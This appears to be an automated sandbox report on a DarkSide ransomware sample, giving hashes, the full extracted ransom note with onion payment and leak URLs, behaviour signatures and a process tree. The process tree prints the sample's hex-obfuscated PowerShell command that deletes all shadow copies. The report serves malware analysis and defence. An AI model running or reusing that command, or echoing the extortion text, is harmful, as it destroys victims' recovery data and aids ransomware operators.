Analysis

  • max time kernel
    83s
  • max time network
    112s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    11-05-2021 05:01

General

  • Target

    3.exe

  • Size

    17KB

  • MD5

    9009593ebf5ea20407ab19bff045dc9d

  • SHA1

    03c1f7458f3983c03a0f8124a01891242c3cc5df

  • SHA256

    6931b124d38d52bd7cdef48121fda457d407b63b59bb4e6ead4ce548f4bbb971

  • SHA512

    fe24a401b35a5b1874bc90739f6fda1969456a13e1339f5b920e6fa659e82df0febc7fc3196ea854601e8773c356884a2516b660daafa944c3643b9d0be74fed

Malware Config

Extracted

Path

C:\\README.44ef4894.TXT

Family

darkside

Ransom Note
----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC

http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Modifies extensions of user files 7 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3.exe
    "C:\Users\Admin\AppData\Local\Temp\3.exe"
    1⤵
    • Modifies extensions of user files
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3896
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1072
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:188

Network

MITRE ATT&CK Matrix ATT&CK v6

Credential Access

Credentials in Files

1
T1081

Collection

Data from Local System

1
T1005

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    MD5

    ea6243fdb2bfcca2211884b0a21a0afc

    SHA1

    2eee5232ca6acc33c3e7de03900e890f4adf0f2f

    SHA256

    5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

    SHA512

    189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    MD5

    26d0b8db5b0668833dd29fbdff92e5e1

    SHA1

    7dcef857878821125d06311cfa12f50d11a0bbf3

    SHA256

    33ec6a3943738248383db9fcecf9b324b4161f1516cf43da1732376aada9509d

    SHA512

    0dbfdc8f6094174e70245c0bb42e6727bf68edaf2a60363b05531542d0cb99bec2a243be7ae83532053c102aec1ce50a749a52da65ae471fe3d17561b5e1244f

  • memory/1072-114-0x0000000000000000-mapping.dmp
  • memory/1072-119-0x0000023FF2D50000-0x0000023FF2D51000-memory.dmp
    Filesize

    4KB

  • memory/1072-122-0x0000023FF3020000-0x0000023FF3021000-memory.dmp
    Filesize

    4KB

  • memory/1072-129-0x0000023FF2E10000-0x0000023FF2E12000-memory.dmp
    Filesize

    8KB

  • memory/1072-131-0x0000023FF2E13000-0x0000023FF2E15000-memory.dmp
    Filesize

    8KB

  • memory/1072-133-0x0000023FF2E16000-0x0000023FF2E18000-memory.dmp
    Filesize

    8KB